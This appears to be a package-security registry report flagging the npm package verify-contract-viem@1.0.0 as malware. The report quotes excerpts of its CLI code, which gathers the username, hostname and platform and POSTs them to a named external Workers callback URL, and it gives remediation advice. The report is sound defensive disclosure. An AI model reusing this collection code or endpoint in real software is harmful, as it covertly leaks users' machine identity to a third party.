registry / Data exfiltration / verify-contract-viem
verify-contract-viem
Minimal npx package that POSTs package name and whoami to an OOB callback
This report shows the evidence for verify-contract-viem@1.0.0. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe only implemented CLI behavior is covert host-identity exfiltration to an external callback, rather than contract verification. Although it is user-triggered rather than install-triggered, the concrete collection behavior is malicious.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Running the verify-contract-ethers CLI, including through npx.
Impact
Discloses the current username, hostname, operating system platform, and package identity to a third party.
Mechanism
Collects host identity data and POSTs it to an external callback.
Attack narrative
When its CLI is run, the package obtains the current username and gathers the hostname and platform. It then POSTs those values to an out-of-band Workers callback while suppressing errors. The package provides no contract-verification implementation, so this collection is not package-aligned.
AI rationale
The only implemented CLI behavior is covert host-identity exfiltration to an external callback, rather than contract verification. Although it is user-triggered rather than install-triggered, the concrete collection behavior is malicious.
Evidence
bin/cli.jspackage.json
Network endpoints1
oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The CLI collects the local username using whoami, with an operating-system fallback.
- It sends the username, hostname, and platform to an unrelated external callback URL.
- The manifest describes the package as posting the package name and current user to an out-of-band callback.
Evidence against
- There are no npm install lifecycle hooks.
- The collection runs when the CLI is invoked, not on package installation.
Behavioral surface
ChildProcessNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourcebin/cli.jsView file
2L3: const { execFileSync } = require("node:child_process");
L4: const os = require("node:os");
L5: const { name } = require("../package.json");
L6:
L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9";
L8:
...
L13: try {
L14: return os.userInfo().username;
L15: } catch {
...
L34: },
L35: body: JSON.stringify({
High
Host Fingerprint Exfiltration
Source collects local host identity data and sends it to an external endpoint.
bin/cli.jsView on unpkg · L2•matchType = normalized_sha256
matchedPackage = generate-schema-ethers@1.0.0
matchedPath = bin/cli.js
matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
bin/cli.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = ca5e18460ef063fd
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = generate-schema-ethers@1.0.0
matchedPath = bin/cli.js
matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
7 High1 Medium3 Low
HighHost Fingerprint Exfiltrationbin/cli.js
HighSemantic Analysis Limitedpackage.json
HighKnown Malware Source Similaritybin/cli.js
HighKnown Malware Source Fingerprint Signaturebin/cli.js
HighAi Review Evidencebin/cli.js
HighAi Review Evidencebin/cli.js
HighAi Review Evidencepackage.json
MediumNetwork
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to verify-contract-viem@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing verify-contract-viem@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.